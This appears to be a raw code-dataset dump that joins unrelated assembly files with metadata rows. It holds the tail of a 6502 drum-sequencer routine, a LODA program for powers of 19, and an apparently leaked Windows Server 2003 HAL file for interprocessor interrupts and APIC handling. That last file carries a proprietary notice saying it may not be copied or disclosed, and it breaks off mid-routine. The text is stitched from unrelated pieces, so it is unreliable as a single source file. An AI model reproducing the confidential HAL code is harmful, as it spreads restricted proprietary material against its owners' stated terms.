lda #$00
sta echoBufferA_2,x
sta echoBufferA_3,x
lda #$30
sta echoBufferB_0,x
lda #$00
sta echoBufferB_2,x
sta echoBufferB_3,x
lda #$30
sta echoBufferD_0,x
lda #$00
sta echoBufferD_2,x
inx
cpx #SIZE_OF_ECHO_BUFFER
bcc :-
rts
.IF EXT_SYNC=1
;------------------------------------------------------------------------------
; SYNC Functions
;------------------------------------------------------------------------------
syncFunctions:
clc
lda PAD2_dsta
beq @notStart
jmp syncNextStep
@notStart:
lda PAD2_dsel
beq @notSelect
jmp syncRestartPattern
@notSelect:
lda PAD2_dlr
beq @notLeftRight
bmi @right
jmp syncNextPattern
@right: jmp syncPreviousPattern
@notLeftRight:
lda PAD2_dud
beq @notUpDown
bpl @down
jmp syncSetNextPattern
@down: jmp syncSetPreviousPattern
@notUpDown:
rts
syncNextStep:
lda #$00
sta noteCounter
jsr playNotes
sec
rts
syncRestartPattern:
ldx #$00
stx noteCounter
dex
stx patternIndex
jsr playNotes
sec
rts
syncNextPattern:
ldx #$00
stx noteCounter
dex
stx patternIndex
lda plyrCurrentPattern
clc
adc #$01
sta plyrNextPattern
sta plyrCurrentPattern
sta editorCurrentPattern
jsr playNotes
sec
rts
syncPreviousPattern:
ldx #$00
stx noteCounter
dex
stx patternIndex
lda plyrCurrentPattern
beq :+
sec
sbc #$01
sta plyrNextPattern
sta plyrCurrentPattern
sta editorCurrentPattern
: jsr playNotes
sec
rts
syncSetNextPattern:
lda plyrCurrentPattern
clc
adc #$01
sta plyrNextPattern
clc
rts
syncSetPreviousPattern:
lda plyrCurrentPattern
beq :+
sec
sbc #$01
sta plyrNextPattern
: clc
rts
.ENDIF
;------------------------------------------------------------------------------
; Setup Song
;------------------------------------------------------------------------------
plyrSetupSong:
rts
;------------------------------------------------------------------------------
; Setup Pattern
;------------------------------------------------------------------------------
plyrSetupPattern:
tax
lda #WRAM_PATTERNS
jsr setMMC1r1
lda patternTableLo,x
sta plyrTmp0
lda patternTableHi,x
sta plyrTmp1
ldy #$00
: lda (plyrTmp0),y
sta plyrTrackDrum,y
iny
cpy #bytesPerPattern
bcc :-
lda editSongMode
cmp #SONG_MODE_OFF
beq :++
ldx plyrCurrentSong
lda songSpeedTable,x
cmp #$FF
beq :+
sta plyrTrackDrum+PATTERN_SPEED
: lda songSwingTable,x
cmp #$FF
beq :+
sta plyrTrackDrum+PATTERN_SWING
: ldx plyrCurrentPattern
lda #WRAM_PATTERNS
jsr setMMC1r1
lda songEchoLevelA,x
sta plyrEchoInitAttnA
lda songEchoLevelB,x
sta plyrEchoInitAttnB
lda songEchoLevelD,x
sta plyrEchoInitAttnD
lda songEchoDecay,x
sta plyrEchoAttn
lda songEchoSelect,x
sta plyrEchoSelect
and #%00001000
bne :+
lda songEchoSpeed,x
sta plyrEchoSpeed
sta plyrEchoCounter
lda #$00
sta plyrEchoIndex
rts
: lda songEchoSpeed,x
sta plyrEchoNoteCount
lda plyrTrackDrum+PATTERN_SPEED
tay
lda echoTable,y
sta plyrEchoSpeed
sta plyrEchoCounter
lda #$00
sta plyrEchoIndex
rts
plyrUpdateEchoIndex:
inc plyrEchoIndex
lda plyrEchoIndex
cmp #SIZE_OF_ECHO_BUFFER ;ECHO_MAX_DELAY
bcc :+
lda #$00
sta plyrEchoIndex
rts
: dec plyrEchoCounter
bmi :+
rts
: lda plyrEchoSpeed
sta plyrEchoCounter
lda plyrEchoSelect
and #%00001000
beq :++
dec plyrEchoNoteCount
beq :+
bmi :+
rts
: ldx plyrCurrentPattern
lda #WRAM_PATTERNS
jsr setMMC1r1
lda songEchoSpeed,x
sta plyrEchoNoteCount
: lda #$00
sta plyrEchoIndex
rts
;------------------------------------------------------------------------------
; New Note
;------------------------------------------------------------------------------
playNotes:
;jsr plyrUpdateEchoIndex
lda plyrMode
cmp plyrModeOld
beq :+++
sta plyrModeOld
and #$FF
bne :+
; stop
jsr killNote0
jsr killNote1
jsr killNote2
jsr killNote3
jsr killNote4
jsr killNote5
rts
;continue playing
: cmp #PLAY_MODE_SONG_LOOP
bne :+
lda editSongMode
cmp #SONG_MODE_OFF
beq :+
lda #$00
sta noteCounter
lda #$FF
sta patternIndex
lda #WRAM_SONGS
jsr setMMC1r1
ldx plyrCurrentSong
lda songLoopStartTable,x
tax
dex
stx plyrSongBar
lda #$01
sta plyrMode
sta plyrModeOld
jmp :+++
: cmp #PLAY_MODE_START
bne :++
lda #$00
sta noteCounter
lda #$FF
sta patternIndex
sta plyrSongBar
lda #$01
sta plyrMode
sta plyrModeOld
jmp :++
: and #$FF
bne :+
rts
: lda curWramBank
pha
lda noteCounter
beq @newStep
.IF EXT_SYNC=0
dec noteCounter
.ENDIF
checkRetrigger 0
checkRetrigger 1
checkRetrigger 2
checkRetrigger 3
checkRetrigger 4
checkRetrigger 5
jmp @newStep2
@newStep:
jsr playNotesNewStep
@newStep2:
pla
jsr setMMC1r1
rts
playNotesNewStep:
inc patternIndex
lda patternIndex
ldy #PATTERN_STEPS
cmp plyrTrackDrum,y
bcc :+
lda #$00
sta patternIndex
:
lda patternIndex
bne :++
lda editSongMode
cmp #SONG_MODE_OFF
beq :+
jsr playSong
: lda plyrNextPattern
sta plyrCurrentPattern
jsr plyrSetupPattern
lda #$00
sta editorForceTrackLoad
: lda editorForceTrackLoad
bne :--
lda patternIndex
and #$01
sta plyrTmp0
lda plyrPatternGroove
asl a
sta plyrTmp1
lda plyrPatternSpeed
asl a
asl a
asl a
ora plyrTmp0
clc
adc plyrTmp1
tax
.IF EXT_SYNC=0
lda speedTable,x
sta noteCounter
.ELSE
lda #$01
sta noteCounter
.ENDIF
newStep 0
newStep 1
newStep 2
newStep 3
newStep 4
newStep 5
rts
playSong: lda #WRAM_SONGS
jsr setMMC1r1
ldx plyrCurrentSong
inc plyrSongBar
lda songLoopLengthTable,x
beq :+
clc
adc songLoopStartTable,x
sta plyrTmp0
lda plyrSongBar
cmp plyrTmp0
bcc :+
lda songLoopStartTable,x
sta plyrSongBar
: lda songTableLo,x
sta plyrTmp0
lda songTableHi,x
sta plyrTmp1
ldy plyrSongBar
lda (plyrTmp0),y
sta plyrNextPattern
rts
patternIndexX5: .REPEAT 16,i
.BYTE i*5
.ENDREPEAT
speedTable:
.IF 0=1
.BYTE $00,$00,$00,$00,$00,$00,$00,$00 ;0
.BYTE $01,$00,$01,$00,$01,$00,$01,$00 ;1
.BYTE $01,$01,$02,$00,$02,$00,$02,$00 ;2
.BYTE $02,$01,$03,$00,$03,$00,$03,$00 ;3
.BYTE $02,$02,$03,$01,$04,$00,$04,$00 ;4
.BYTE $03,$02,$04,$01,$05,$00,$05,$00 ;5
.BYTE $03,$03,$04,$02,$05,$01,$06,$00 ;6
.BYTE $04,$03,$05,$02,$06,$01,$06,$01 ;7
.BYTE $04,$04,$05,$03,$06,$02,$07,$01 ;8
.BYTE $05,$04,$06,$03,$07,$02,$08,$01 ;9
.BYTE $05,$05,$06,$04,$07,$03,$08,$02 ;10
.BYTE $06,$05,$07,$04,$08,$03,$09,$02 ;11
.BYTE $06,$06,$07,$05,$08,$04,$09,$03 ;12
.BYTE $07,$06,$08,$05,$09,$04,$0A,$03 ;13
.BYTE $07,$07,$08,$06,$09,$05,$0B,$03 ;14
.BYTE $08,$07,$09,$06,$0A,$05,$0C,$03 ;15
.BYTE $08,$08,$0A,$06,$0B,$05,$0C,$04 ;16
.BYTE $09,$08,$0A,$07,$0C,$05,$0D,$04 ;17
.BYTE $09,$09,$0A,$08,$0D,$05,$0E,$04 ;18
.BYTE $0A,$09,$0B,$08,$0D,$06,$0E,$05 ;19
.BYTE $0A,$0A,$0C,$08,$0D,$07,$0E,$06 ;20
.ENDIF
.BYTE $00,$00,$00,$00,$00,$00,$00,$00
.BYTE $00,$01,$00,$01,$00,$01,$00,$01
.BYTE $01,$01,$01,$01,$01,$01,$01,$01
.BYTE $01,$02,$01,$02,$01,$02,$01,$02
.BYTE $02,$02,$02,$02,$03,$01,$03,$01
.BYTE $02,$03,$02,$03,$03,$02,$03,$02
.BYTE $03,$03,$03,$03,$04,$02,$05,$01
.BYTE $03,$04,$03,$04,$04,$03,$05,$02
.BYTE $04,$04,$05,$03,$06,$02,$07,$01
.BYTE $04,$05,$05,$04,$06,$03,$07,$02
.BYTE $05,$05,$06,$04,$07,$03,$08,$02
.BYTE $05,$06,$06,$05,$07,$04,$08,$03
.BYTE $06,$06,$07,$05,$09,$03,$0A,$02
.BYTE $06,$07,$07,$06,$09,$04,$0A,$03
.BYTE $07,$07,$08,$06,$0A,$04,$0C,$02
.BYTE $07,$08,$08,$07,$0A,$05,$0C,$03
.BYTE $08,$08,$0A,$06,$0C,$04,$0E,$02
.BYTE $08,$09,$0A,$07,$0C,$05,$0E,$03
.BYTE $09,$09,$0B,$07,$0D,$05,$0F,$03
.BYTE $09,$0A,$0B,$08,$0D,$06,$0F,$04
.BYTE $0A,$0A,$0C,$08,$0F,$05,$11,$03
.BYTE $0A,$0B,$0C,$09,$0F,$06,$11,$04
.BYTE $0B,$0B,$0D,$09,$10,$06,$13,$03
.BYTE $0B,$0C,$0D,$0A,$10,$07,$13,$04
.BYTE $0C,$0C,$0F,$09,$12,$06,$15,$03
.BYTE $0C,$0D,$0F,$0A,$12,$07,$15,$04
.BYTE $0D,$0D,$10,$0A,$13,$07,$16,$04
.BYTE $0D,$0E,$10,$0B,$13,$08,$16,$05
.BYTE $0E,$0E,$11,$0B,$15,$07,$18,$04
.BYTE $0E,$0F,$11,$0C,$15,$08,$18,$05
;lda #((tempo+2)*1)-1
; 11+2 = 13, 13*4 = 52, 39-1 = 55
; 12+1 = 13 13-1 = 12
echoTable:
.BYTE 1 ;00
.BYTE 1 ;02
.BYTE 1 ;02
.BYTE 2 ;03
.BYTE 2 ;04
.BYTE 3 ;05
.BYTE 3 ;06
.BYTE 4 ;07
.BYTE 4 ;08
.BYTE 5 ;09
.BYTE 5 ;0A
.BYTE 6 ;0B
.BYTE 6 ;0C
.BYTE 7 ;0D
.BYTE 7 ;0E
.BYTE 8 ;0F
.BYTE 8 ;10
.BYTE 9 ;11
.BYTE 9 ;12
.BYTE 10 ;13
.BYTE 10 ;14
.BYTE 11 ;15
.BYTE 11 ;16
.BYTE 12 ;17
.BYTE 12 ;18
playNote0: playNote 0,drumParameters0
rts
playNote1: playNote 1,drumParameters1
rts
playNote2: playNote 2,drumParameters2
rts
playNote3: playNote 3,drumParameters3
rts
playNote4: playNote 4,drumParameters4
rts
playNote5: playNote 5,drumParameters5
rts
killNote0: killNote 0
rts
killNote1: killNote 1
rts
killNote2: killNote 2
rts
killNote3: killNote 3
rts
killNote4: killNote 4
rts
killNote5: killNote 5
rts
plyrDrumAddressLo:
.REPEAT numberOfDrums,i
.LOBYTES drums+(bytesPerDrum * i)
.ENDREPEAT
plyrDrumAddressHi:
.REPEAT numberOfDrums,i
.HIBYTES drums+(bytesPerDrum * i)
.ENDREPEAT
plyrMultiTriggers:
.BYTE lfo_A_Delay,lfo_B_Delay,lfo_C_Delay,$FF
.BYTE lfo_A_Speed,lfo_B_Speed,lfo_C_Speed,$FF
.BYTE lfo_A_Depth,lfo_B_Depth,lfo_C_Depth,$FF
.BYTE env_A_Volume,env_B_Volume,env_D_Volume,$FF
.BYTE env_A_Env,env_B_Env,env_D_Env,$FF
.BYTE env_A_Gate,env_B_Gate,env_D_Gate,$FF
drumPatch:
@oscA: .BYTE $00,$00,$00
@lfoA: .BYTE $00,$00,$10
@envA: .BYTE $8F,$08,$10
@dtyA: .BYTE $80,$00
@oscB: .BYTE $00,$00,$00
@lfoB: .BYTE $FF,$01,$37
@envB: .BYTE $8F,$08,$20
@dtyB: .BYTE $89,$08
@oscC: .BYTE $00,$00
@lfoC: .BYTE $00,$00,$C0
@envC: .BYTE $00,$20
@envD: .BYTE $8F,$04,$02
@lfoD: .BYTE $01,$01,$FE
@oscD: .BYTE $00
@E: .BYTE $00,$00,$00,$00,$00
@seq: .BYTE $00,$00,$00
@gbl: .BYTE %01111
.include "commonTables.asm" | 16.64687 | 79 | 0.638029 |
0d4e31fddaf0cc8d7dba0c87e216457febe1fe15 | 548 | asm | Assembly | oeis/001/A001029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001029: Powers of 19.
; 1,19,361,6859,130321,2476099,47045881,893871739,16983563041,322687697779,6131066257801,116490258898219,2213314919066161,42052983462257059,799006685782884121,15181127029874798299,288441413567621167681,5480386857784802185939,104127350297911241532841,1978419655660313589123979,37589973457545958193355601,714209495693373205673756419,13569980418174090907801371961,257829627945307727248226067259,4898762930960846817716295277921,93076495688256089536609610280499,1768453418076865701195582595329481
mov $1,19
pow $1,$0
mov $0,$1
| 78.285714 | 491 | 0.905109 |
ea2fd1633c0ad316139533725c51a4103cff3cc0 | 28,712 | asm | Assembly | base/hals/halmps/i386/mpipi.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/hals/halmps/i386/mpipi.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/hals/halmps/i386/mpipi.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z |
title "Interprocessor Interrupt"
;++
;
;Copyright (c) 1991 Microsoft Corporation
;Copyright (c) 1992 Intel Corporation
;All rights reserved
;
;INTEL CORPORATION PROPRIETARY INFORMATION
;
;This software is supplied to Microsoft under the terms
;of a license agreement with Intel Corporation and may not be
;copied nor disclosed except in accordance with the terms
;of that agreement.
;
;
;Module Name:
;
; mpipi.asm
;
;Abstract:
;
; PC+MP IPI code.
; Provides the HAL support for Interprocessor Interrupts and Processor
; initialization for PC+MP Systems
;
;Author:
;
; Ken Reneris (kenr) 13-Jan-1992
;
;Revision History:
;
; Ron Mosgrove (Intel) Aug 1993
; Modified for PC+MP Systems
;--
.486p
.xlist
;
; Normal includes
;
include hal386.inc
include i386\kimacro.inc
include mac386.inc
include apic.inc
include callconv.inc ; calling convention macros
include ntapic.inc
EXTRNP Kei386EoiHelper,0,IMPORT
EXTRNP _HalpMarkProcessorStarted,2
EXTRNP _HalBeginSystemInterrupt,3
EXTRNP _HalEndSystemInterrupt,2
EXTRNP _KiIpiServiceRoutine,2,IMPORT
EXTRNP _HalDisplayString,1
EXTRNP HalpAcquireHighLevelLock,1,,FASTCALL
EXTRNP HalpReleaseHighLevelLock,2,,FASTCALL
EXTRNP HalpSendIpi,2,,FASTCALL
ifdef ACPI_HAL
EXTRNP _DetectAcpiMP,2
else
EXTRNP _DetectMPS,1
endif
EXTRNP _HalpRegisterKdSupportFunctions,1
EXTRNP _HalpInitializeLocalUnit,0
EXTRNP _HalpResetThisProcessor,0
if DBG OR DEBUGGING
EXTRNP _DbgBreakPoint,0,IMPORT
endif
extrn _HalpDefaultInterruptAffinity:DWORD
extrn _HalpActiveProcessors:DWORD
extrn _HalpGlobal8259Mask:WORD
extrn _HalpStaticIntAffinity:BYTE
extrn _HalpPICINTToVector:BYTE
extrn _rgzBadHal:BYTE
extrn _HalpMaxProcsPerCluster:BYTE
extrn _HalpIntDestMap:BYTE
I386_80387_BUSY_PORT equ 0f0h
SEND_IPI macro IpiCommand
mov ecx, eax
mov edx, IpiCommand
fstCall halpSendIpi
endm
_DATA SEGMENT DWORD PUBLIC 'DATA'
ALIGN dword
public _HalpProcessorPCR
_HalpProcessorPCR dd MAXIMUM_PROCESSORS dup (?) ; PCR pointer for each processor
;
; The following symbols are used by the Local Apic Error handler.
;
LogApicErrors equ 1
if LogApicErrors
public _HalpLocalApicErrorLock
public _HalpLocalApicErrorCount
public _HalpApicErrorLog
APIC_ERROR_LOG_SIZE equ 128 ; Must be 2^n see usage below
ALIGN dword
_HalpApicErrorLog dw APIC_ERROR_LOG_SIZE dup(0)
_HalpLocalApicErrorLock dd 0
_HalpLocalApicErrorCount dd 0
;
; Bit:
;
; 0 - Send checksum error
; 1 - Recieve checksum error
; 2 - Send accept error
; 3 - Receive accept error
; 4 - reserved
; 5 - Send illegal vector
; 6 - Receive illegal vector
; 7 - illegal register address
; 8-31 - reserved
;
endif ; LogApicErrors
public HalpBroadcastLock, HalpBroadcastTargets
public HalpBroadcastFunction, HalpBroadcastContext
HalpBroadcastLock dd 0
HalpBroadcastFunction dd 0
HalpBroadcastContext dd 0
HalpBroadcastTargets dd 0
_DATA ends
_TEXT SEGMENT DWORD PUBLIC 'DATA'
ALIGN dword
;
; The _PicExtintIntiHandlers and the _PicNopIntiHandlers tables are
; used by the enable and disable system interrupt routines to determine
; the EXTINT interrupt handler to install.
;
public _PicExtintIntiHandlers
_PicExtintIntiHandlers label dword
dd PicInterruptHandlerInti0 ; Inti 0 - PIC 1
dd PicInterruptHandlerInti1 ; Inti 1 - PIC 1
dd PicInterruptHandlerInti2 ; Inti 2 - PIC 1
dd PicInterruptHandlerInti3 ; Inti 3 - PIC 1
dd PicInterruptHandlerInti4 ; Inti 4 - PIC 1
dd PicInterruptHandlerInti5 ; Inti 5 - PIC 1
dd PicInterruptHandlerInti6 ; Inti 6 - PIC 1
dd PicInterruptHandlerInti7 ; Inti 7 - PIC 1
dd PicInterruptHandlerInti8 ; Inti 8 - PIC 2
dd PicInterruptHandlerInti9 ; Inti 9 - PIC 2
dd PicInterruptHandlerIntiA ; Inti 10 - PIC 2
dd PicInterruptHandlerIntiB ; Inti 11 - PIC 2
dd PicInterruptHandlerIntiC ; Inti 12 - PIC 2
dd PicInterruptHandlerIntiD ; Inti 13 - PIC 2
dd PicInterruptHandlerIntiE ; Inti 14 - PIC 2
dd PicInterruptHandlerIntiF ; Inti 15 - PIC 2
public _PicNopIntiHandlers
_PicNopIntiHandlers label dword
dd PicNopHandlerInti0 ; Inti 0 - PIC 1
dd PicNopHandlerInti1 ; Inti 1 - PIC 1
dd PicNopHandlerInti2 ; Inti 2 - PIC 1
dd PicNopHandlerInti3 ; Inti 3 - PIC 1
dd PicNopHandlerInti4 ; Inti 4 - PIC 1
dd PicNopHandlerInti5 ; Inti 5 - PIC 1
dd PicNopHandlerInti6 ; Inti 6 - PIC 1
dd PicNopHandlerInti7 ; Inti 7 - PIC 1
dd CommonPic2NopHandler ; Inti 8 - PIC 2
dd CommonPic2NopHandler ; Inti 9 - PIC 2
dd CommonPic2NopHandler ; Inti 10 - PIC 2
dd CommonPic2NopHandler ; Inti 11 - PIC 2
dd CommonPic2NopHandler ; Inti 12 - PIC 2
dd PicNopHandlerIntiD ; Inti 13 - PIC 2
dd CommonPic2NopHandler ; Inti 14 - PIC 2
dd CommonPic2NopHandler ; Inti 15 - PIC 2
_TEXT ends
page ,132
subttl "Post InterProcessor Interrupt"
_TEXT SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
;++
;
; VOID
; HalInitializeProcessor(
; ULONG Number
; PVOID LoaderBlock
; );
;
;Routine Description:
;
; Initialize hal pcr values for current processor (if any)
; (called shortly after processor reaches kernel, before
; HalInitSystem if P0)
;
; IPI's and KeReadir/LowerIrq's must be available once this function
; returns. (IPI's are only used once two or more processors are
; available)
;
; . Enable IPI interrupt (makes sense for P1, P2, ...).
; . Save Processor Number in PCR.
; . if (P0)
; . determine if the system is a PC+MP,
; . if not a PC+MP System Halt;
; . Enable IPI's on CPU.
;
;Arguments:
;
; Number - Logical processor number of calling processor
;
;Return Value:
;
; None.
;
;--
cPublicProc _HalInitializeProcessor ,2
mov PCR[PcIDR], 0FFFFFFFFH ; mark all INTs as disabled
movzx eax, byte ptr [esp+4]
mov PCR[PcHal.PcrNumber], al ; Save processor # in PCR
mov ecx, PCR[PcSelfPcr] ; Flat address of this PCR
mov _HalpProcessorPCR[eax*4], ecx ; Save it away
mov dword ptr PCR[PcStallScaleFactor], INITIAL_STALL_COUNT
;
; set bit in affinity mask for this active processor
;
lock bts _HalpActiveProcessors, eax
;
; set interrupt affinity to either be most-significant processor or
; a set of all processors
;
mov edx, eax
mov eax, _HalpDefaultInterruptAffinity
hip10: cmp _HalpStaticIntAffinity, 1 ; Signle or all?
sbb ecx, ecx ; set mask 0 or -1
and ecx, eax ; include existing set or not
bts ecx, edx ; include self
cmp ecx, eax ; new mask a better choice?
jc short hip20 ; no, done
lock cmpxchg _HalpDefaultInterruptAffinity, ecx ; set new mask
jnz short hip10 ; if it didn't take, do it again
hip20:
;
; Most of the following code is only needed on P0
;
or edx, edx
jnz PnInitCode ; Not P0 skip a lot
; Run on P0 only
;
; Determine if the system we are on is an PC+MP
;
; DetectMPS has a parameter we don't currently use. It's a boolean
; which is set to TRUE if the system we're on is a MP system. Remember,
; we could have a UP PC+MP system.
;
; The DetectMPS routine also allocates Virtual Addresses for all of
; the APIC's in the system (it needs to access the devices anyway so ...)
;
sub esp, 4
ifdef ACPI_HAL
mov eax, esp
stdCall _DetectAcpiMP <eax, [esp + 12]> ; Are we running on an ACPI MP
else
stdCall _DetectMPS <esp> ; Are we running on an PC+MP
endif
add esp,4
cmp eax, 0 ; Yes (nonZero) or
je NotPcMp ; No (Zero)
; stdCall _HalDisplayString, <offset HalSignonString>
;
; This next call has nothing to do with processor init.
; But this is the only function in the HAL that gets
; called before KdInit.
;
stdCall _HalpRegisterKdSupportFunctions <[esp + 8]>
mov ax, 0FFFFH ; mask all PIC interrupts
mov _HalpGlobal8259Mask, ax ; save the mask
SET_8259_MASK
;
; Other P0 initialization would go here
;
jmp CommonInitCode
PnInitCode:
;
; Pn initialization goes here
;
mov ecx, PCR[PcPrcb] ; get PRCB
movzx eax, byte ptr [ecx].PbHalReserved.PrcbPCMPApicID ; get APIC id
movzx ecx, byte ptr [ecx].PbNumber ; get processor number
stdCall _HalpMarkProcessorStarted, <eax, ecx>
CommonInitCode:
stdCall _HalInitApicInterruptHandlers
;
; initialize the APIC local unit for this Processor
;
stdCall _HalpInitializeLocalUnit
stdRET _HalInitializeProcessor
NotPcMp:
stdCall _HalDisplayString, <offset _rgzBadHal>
hlt
stdENDP _HalInitializeProcessor
D_INT032 EQU 8E00h ; access word for 386 ring 0 interrupt gate
;++
;
; VOID
; HalInitApicInterruptHandlers(
; );
;
;Routine Description:
;
; This routine installs the interrupt vector in the IDT for the APIC
; spurious interrupt.
;
;Arguments:
;
; None.
;
;Return Value:
;
; None.
;
;--
cPublicProc _HalInitApicInterruptHandlers ,0
enter 8,0 ; setup ebp, reserve 8 bytes of stack
sidt fword ptr [ebp-8] ; get IDT address
mov edx, [ebp-6] ; (edx)->IDT
mov ecx, PIC1_SPURIOUS_VECTOR ; Spurious Vector
mov eax, offset FLAT:PicSpuriousService37
mov word ptr [edx+8*ecx], ax ; Lower half of handler addr
mov word ptr [edx+8*ecx+2], KGDT_R0_CODE ; set up selector
mov word ptr [edx+8*ecx+4], D_INT032 ; 386 interrupt gate
shr eax, 16 ; (ax)=higher half of handler addr
mov word ptr [edx+8*ecx+6], ax
mov ecx, APIC_SPURIOUS_VECTOR ; Apic Spurious Vector
mov eax, offset FLAT:_HalpApicSpuriousService
mov word ptr [edx+8*ecx], ax ; Lower half of handler addr
mov word ptr [edx+8*ecx+2], KGDT_R0_CODE ; set up selector
mov word ptr [edx+8*ecx+4], D_INT032 ; 386 interrupt gate
shr eax, 16 ; (ax)=higher half of handler addr
mov word ptr [edx+8*ecx+6], ax
leave
stdRET _HalInitApicInterruptHandlers
stdENDP _HalInitApicInterruptHandlers
cPublicProc PicSpuriousService37 ,0
iretd
stdENDP PicSpuriousService37
;++
;
; VOID
; HalpApicRebootService(
; );
;
;Routine Description:
;
; This is the ISR that handles Reboot events
;
;--
ENTER_DR_ASSIST HReboot_a, HReboot_t
cPublicProc _HalpApicRebootService ,0
ENTER_INTERRUPT_FORCE_STATE HReboot_a, HReboot_t ; (ebp) -> Trap frame
mov eax, APIC_REBOOT_VECTOR
mov ecx, dword ptr APIC[LU_TPR] ; get the old TPR
push ecx ; save it
mov dword ptr APIC[LU_TPR], eax ; set the TPR
APICFIX edx
;
; EOI the local APIC, warm reset does not reset the 82489 APIC
; so if we don't EOI here we'll never see an interrupt after
; the reboot.
;
mov dword ptr APIC[LU_EOI], 0 ; send EOI to APIC local unit
stdCall _HalpResetThisProcessor
;
; We should never get here, but just in case someone is stepping
; through this
;
pop eax
mov dword ptr APIC[LU_TPR], eax ; reset the TPR
APICFIX edx
;
; Do interrupt exit processing without EOI
;
SPURIOUS_INTERRUPT_EXIT
stdENDP _HalpApicRebootService
;++
;
; VOID
; HalpGenericCallService(
; );
;
; Routine Description:
; This is the ISR that handles the GenericCall interrupt
;
;--
ENTER_DR_ASSIST HGeneric_a, HGeneric_t
cPublicProc _HalpBroadcastCallService ,0
ENTER_INTERRUPT HGeneric_a, HGeneric_t ; (ebp) -> Trap frame
;
; (esp) - base of trap frame
;
; dismiss interrupt and raise Irql
;
push APIC_GENERIC_VECTOR
sub esp, 4 ; allocate space to save OldIrql
stdCall _HalBeginSystemInterrupt, <CLOCK2_LEVEL-1,APIC_GENERIC_VECTOR,esp>
call _HalpPollForBroadcast
INTERRUPT_EXIT ; lower irql to old value, iret
stdENDP _HalpBroadcastCallService
;++
;
; VOID
; HalpGenericCall(
; IN VOID (*WorkerFunction)(VOID),
; IN ULONG Context,
; IN KAFFINITY TargetProcessors
; );
;
; Routine Description:
; Causes the WorkerFunction to be called on the specified target
; processors. The WorkerFunction is called at CLOCK2_LEVEL-1
; (Must be below IPI_LEVEL in order to prevent system deadlocks).
;
; Enviroment:
; Must be called with interrupts enabled.
; Must be called with IRQL = CLOCK2_LEVEL-1
;--
cPublicProc _HalpGenericCall,3
cPublicFpo 3, 0
GENERIC_IPI equ (DELIVER_FIXED OR LOGICAL_DESTINATION OR ICR_USE_DEST_FIELD OR APIC_GENERIC_VECTOR)
@@: call _HalpPollForBroadcast
test HalpBroadcastLock, 1 ; Is broadcast busy?
jnz short @b ; Yes, wait
lock bts HalpBroadcastLock, 0 ; Try to get lock
jc short @b ; didn't get it, loop
hgc30: mov ecx, [esp+4]
mov edx, [esp+8]
mov eax, [esp+12]
mov HalpBroadcastFunction, ecx
mov HalpBroadcastContext, edx
mov HalpBroadcastTargets, eax
or eax, eax ; (eax) = Targets
jz gc90
SEND_IPI GENERIC_IPI
;
; Wait for all processors to call broadcast function
;
@@: call _HalpPollForBroadcast
cmp HalpBroadcastTargets, 0
jnz short @b
gc90: mov HalpBroadcastLock, 0 ; Release BroadcastLock
stdRET _HalpGenericCall
stdENDP _HalpGenericCall
;++
;
; VOID
; _HalpPollForBroadcast (
; VOID
; );
;
; Routine Description:
;
; IRQL = CLOCK2_LEVEL-1
;--
cPublicProc _HalpPollForBroadcast, 0
cPublicFpo 0, 0
mov eax, PCR[PcSetMember]
test HalpBroadcastTargets, eax
jz short pb90
mov ecx, HalpBroadcastFunction ; Pickup broadcast function
push HalpBroadcastContext
not eax ; Remove our bit from destionations
lock and HalpBroadcastTargets, eax
call ecx
pb90: stdRET _HalpPollForBroadcast
stdENDP _HalpPollForBroadcast
;++
;
; ULONG
; FASTCALL
; HalpWaitForPending (
; ULONG Count (ecx)
; PULONG LuICR (edx)
; );
;
; Routine Description:
;
; Waits for DELIVERY_PENDING to clear and returns remaining iteration count
;--
cPublicFastCall HalpWaitForPending, 2
cPublicFpo 0, 0
wfp10: test dword ptr [edx], DELIVERY_PENDING
jz short wfp20
dec ecx
jnz short wfp10
wfp20: mov eax, ecx
fstRet HalpWaitForPending
fstENDP HalpWaitForPending
;++
;
; VOID
; HalpLocalApicErrorService(
; );
;
;Routine Description:
;
; This routine fields Local APIC error Events
;
;--
ENTER_DR_ASSIST HApicErr_a, HApicErr_t
cPublicProc _HalpLocalApicErrorService ,0
;
; Save machine state in trap frame
;
ENTER_INTERRUPT HApicErr_a, HApicErr_t ; (ebp) -> Trap frame
if LogApicErrors
lea ecx, _HalpLocalApicErrorLock
fstCall HalpAcquireHighLevelLock
push eax
mov eax, _HalpLocalApicErrorCount
inc _HalpLocalApicErrorCount
lea ecx, _HalpApicErrorLog
and eax, APIC_ERROR_LOG_SIZE-1
shl eax, 1
add ecx, eax
endif ; LogApicErrors
mov dword ptr APIC[LU_EOI], 0 ; local unit EOI
APICFIX eax
;
; The Apic EDS (Rev 4.0) says you have to write before you read
; this doesn't work. The write clears the status bits.
; But P6 works as according to the EDS!
;
mov eax, PCR[PcPrcb]
cmp byte ptr [eax].PbCpuType, 6
jc short lae10
mov dword ptr APIC[LU_ERROR_STATUS], 0
lae10:
mov eax, dword ptr APIC[LU_ERROR_STATUS] ; read error status
; Find out what kind of error it is and update the appropriate count.
if LogApicErrors
; out 80h, al
mov byte ptr [ecx], al
inc ecx
mov al, byte ptr PCR[PcHal.PcrNumber]
mov byte ptr [ecx], al
lea ecx, _HalpLocalApicErrorLock
pop edx
fstCall HalpReleaseHighLevelLock
endif ; LogApicErrors
